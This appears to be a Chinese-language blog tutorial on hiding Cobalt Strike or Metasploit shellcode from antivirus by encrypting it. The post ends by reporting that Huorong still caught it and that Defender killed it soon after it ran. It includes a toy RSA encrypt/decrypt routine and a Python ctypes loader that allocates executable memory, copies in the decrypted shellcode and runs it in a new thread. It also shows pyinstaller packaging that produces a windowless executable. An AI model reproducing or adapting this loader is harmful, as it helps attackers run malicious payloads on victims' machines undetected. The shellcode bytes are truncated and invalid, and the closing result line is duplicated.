通过加密shellcode方式过安全软件拦截
先说结论,笔者没成功
-
shellcode:
Shellcode 是一段用于在目标系统上执行特定操作的机器码。它通常被用于利用软件漏洞,以获取对目标系统的控制权或执行特定的恶意行为。 Shellcode 可以执行诸如创建进程、提升权限、下载和执行其他恶意软件等操作。编写有效的 Shellcode 需要对目标系统的架构、内存布局和操作系统的特性有深入的了解。 在安全领域,研究人员和攻击者都会涉及到 Shellcode 的相关知识,前者用于发现和防范漏洞利用,后者则用于实施攻击。#通常是字节数组
这里可以用cs或者msf等工具生成类似的shellcode用于去目标机器执行
-
加密免杀:
没做如何处理的shellcode特征码容易被杀毒软件监测,而加密免杀则是提前用加密算法对shellcode进行一次加密,再执行代码中则将加密后的shellcode进行解密,再执行。由于shellcode是加密后的,因此不容易被杀软本身所监测
-
实验复现
环境:宿主机Windows11 ,pycharm,cs,VMware搭建的windows10 2019未更新defender
- 使用cs生成的shellcode
-
对shellcode进行加密
/* length: 893 bytes */ unsigned char buf[] = "\xwc\x49\...\x85\xad";//这是不全的,实验复现时自己用工具生成
加密算法:base64,AES,自定义
def encrypt(public_key, plaintext): e, n = public_key cipher = [pow(byte, e, n) for byte in plaintext] return (cipher) def decrypt(private_key, ciphertext): d, n = private_key plain = [pow(byte, d, n) for byte in ciphertext] return bytes(plain) # 固定的公钥和私钥 public_key = (65537, 3233) # e 和 n private_key = (2753, 3233) # d 和 n message = b"\xwc\x49\...\x85\xad" # print("原始消息:", message) encrypted_msg = encrypt(public_key, message) print("加密后的消息:", encrypted_msg)
假设加密后的结果为:b"adadaawda"
放进执行器中
def decrypt(private_key, ciphertext): d, n = private_key plain = [pow(byte, d, n) for byte in ciphertext] return bytes(plain) def set_shellcode(buf): # 加载shellcode VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory CreateThread = ctypes.windll.kernel32.CreateThread WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject shellcode = bytearray(buf) VirtualAlloc.restype = ctypes.c_void_p p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode))) h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 执行创建线程 WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1)) def main(): encrypt_buf = b"adadaawda" buf = decrypt(private_key, encrypt_buf) set_shellcode(buf)
#使用 pyinstaller生成exe文件 pip install pyinstaller pyinstaller -w --onefile 执行器.py #-w生成的exe不会产生控制台,--onefile只生成一个文件
-
直接丢入虚拟机中
结果:尝试的base64,aes,自定义rsa算法均没绕过火绒,(360未测试),自定义rsa算法绕过defender,但运行后不久被杀
中
```
结果:尝试的base64,aes,自定义rsa算法均没绕过火绒,(360未测试),自定义rsa算法绕过defender,但运行后不久被杀
```